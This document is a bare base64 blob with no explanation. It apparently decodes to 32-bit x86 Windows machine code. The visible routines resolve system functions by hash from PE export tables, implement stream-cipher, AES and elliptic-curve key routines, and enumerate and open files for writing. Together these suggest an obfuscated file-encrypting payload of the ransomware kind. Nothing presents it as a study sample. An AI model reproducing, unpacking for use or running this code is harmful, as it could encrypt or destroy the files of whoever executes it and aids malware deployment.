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YXg/P//VzP2VlDo7bj//1cz24m1PP///42FQP///0NWUImdOP///+jQuP//V42FqP7//4mdoP7//1ZQibWk/v//6La4//+DxwiNhUD8//9XVlDopbj//42F2Pz//4lF5I21oP7//42FOP///4l13IlF7DP2jYVA/P//V4lF9I2FqPv//1ZQ6HG4//9okAAAAI2FEP7//4mdCP7//1ZQibUM/v//6FO4//+DxEiNhRD7//9XVlDoQrj//2iQAAAAjYV4/f//iZ1w/f//VlCJtXT9///oJLj//4t1FI2FqPv//4lF8I292Pz//4PEGI2FCP7//4lF4I2FEPv//4lF+I2FcP3//4lF6ItFEGoUWfOljVgfx0XQIAAAAIld1I2N2Pz//4oDi13ciEX/x0XYCAAAAMDoBw+2wJmL8ov4VldRU+i6GAAAVlf/dez/dfTorRgAAP91FP917P915P919FP/deD/dfD/dej/dfjoiwoAAIPERFZX/3Xw/3X46H8YAABWi3XgV4t96FZX6HAYAACLTfCLw4td+IPEIIlF+IvXi0X0iUXoi0XkiUXwi0XsiUXgikX/AsCJVfSDbdgBiU3kiXXsiEX/D4Vl////iV3ci13US4Nt0AGJXdQPhUL///+LddyLfQhqFFnzpYt9DIvyahRZ86VfXluL5V3DVYvsgeyQAQAAjYUQ////Vlf/dQxQ6AkUAACNhRD///9QjYVg////UOj2EwAAjYVg////UI1FsFDo5hMAAP91DI1FsFCNhcD+//9Q6PULAACNhRD///9QjYXA/v//UI2FcP7//1Do2wsAAI2FcP7//1CNRbBQ6KkTAACNhcD+//9QjUWwUI2FEP///1DotAsAAIPERI2FEP///1CNRbBQ6H8TAACNRbBQjYVg////UOhvEwAAjYVg////UI1FsFDoXxMAAI1FsFCNhWD///9Q6E8TAACNhWD///9QjUWwUOg/EwAAjYUQ////UI1FsFCNhcD+//9Q6EoLAACNhcD+//9QjUWwUOgYEwAAjUWwUI2FYP///1DoCBMAAIPERGoEX4v3jYVg////UI1FsFDo8BIAAI1FsFCNhWD///9Q6OASAACDxBCD7gF12I2FwP7//1CNhWD///9QjYUQ////UOjgCgAAjYUQ////UI1FsFDorhIAAI1FsFCNhWD///9Q6J4SAACDxBxqCV6NhWD///9QjUWwUOiIEgAAjUWwUI2FYP///1DoeBIAAIPEEIPuAXXYjYUQ////UI2FYP///1CNRbBQ6HsKAACNRbBQjYVg////UOhJEgAAjYVg////UI1FsFDoORIAAIPEHI1FsFCNhWD///9Q6CYSAACNhWD///9QjUWwUOgWEgAAg8QQg+8BddiNhcD+//9QjUWwUI2FEP///1DoGQoAAI2FEP///1CNRbBQ6OcRAACNRbBQjYVg////UOjXEQAAg8Qcahhei/6NhWD///9QjUWwUOi/EQAAjUWwUI2FYP///1DorxEAAIPEEIPvAXXYjYUQ////UI2FYP///1CNhcD+//9Q6K8JAACNhcD+//9QjYVg////UOh6EQAAjYVg////UI1FsFDoahEAAIPEHGoxX41FsFCNhWD///9Q6FQRAACNhWD///9QjUWwUOhEEQAAg8QQg+8BddiNhcD+//9QjUWwUI2FYP///1DoRwkAAI2FYP///1CNRbBQ6BURAACNRbBQjYVg////UOgFEQAAg8QcjYVg////UI1FsFDo8hAAAI1FsFCNhWD///9Q6OIQAACDxBCD7gF12I2FEP///1CNhWD///9QjUWwUOjlCAAAjUWwUI2FYP///1DosxAAAI2FYP///1CNRbBQ6KMQAACNRbBQjYVg////UOiTEAAAjYVg////UI1FsFDogxAAAI1FsFCNhWD///9Q6HMQAACNhXD+//9QjYVg////UP91COh/CAAAg8RAX16L5V3DVYvsgewYAQAAaiD/dQyNReBQ6PSy//+KRf//dRCAZeD4JD8MQIhF/41FkFDoKwMAAI1FkFCNReBQjYU4////UI2F6P7//1Do1vn//42FOP///1CNRZBQ6NX7//+NRZBQjYXo/v//UI2FOP///1DoAwgAAI2FOP///1D/dQjoCQAAAIPEQDPAi+Vdw1WL7ItVDIPsQDPJiwTKiUSNwEGD+Qp881NWV2oCX4v3M9uLTJ3Ai9HB+h+LwfbDAXQOwfgZI9D32ovCweAZ6wzB+Boj0Pfai8LB4BopVJ3EA8GJRJ3AQ4P7CXzGi03ki9HB+h+LwcH4GSPQ99qLwsHgGQPIa8Lti1XAiU3kA9CJVcCD7gF1mYvKi8LB+Bq7////AcH5HyPI99mLwcHgGgPQKU3EiVXAM9KLRJXAi8j2wgF0B8H5GSPD6wjB+Rol////AwFMlcSJRJXAQoP6CXzYi0Xki8iLdcAjw8H5GYlF5GvBEwPwiXXAg+8BdbmNlhMAAPwz28H6H7////8BQ/fSiV34iV389sMBdANX6wVo////A/90ncDoWBIAACPQQ1lZg/sKfOCLXfiLwiXt//8DK/CJdcCLwvbDAXQEI8frBSX///8DKUSdwEOD+wp85otFzMHgBYlF+ItF0MHgBolF/ItF2It1CAPAiUX0i0XcweADiUXwi0Xgi03AweAEiUXsi0XkweAGi1XEiUXoi8HB+AiIRgGLwYtdyMH4EIhGAsHiAovCweMDwfgIiEYEi8LB+BCIRgWLw8H4CIhGB4vDwfgQiA6IRgjB+RgKysH6GIhOAwrTi034i8HB+AiIRgqLwcH4EIhGC4hWBotV/IvCwfgIiEYNi8LB+xgK2cH4EMH5GArKiEYOiE4M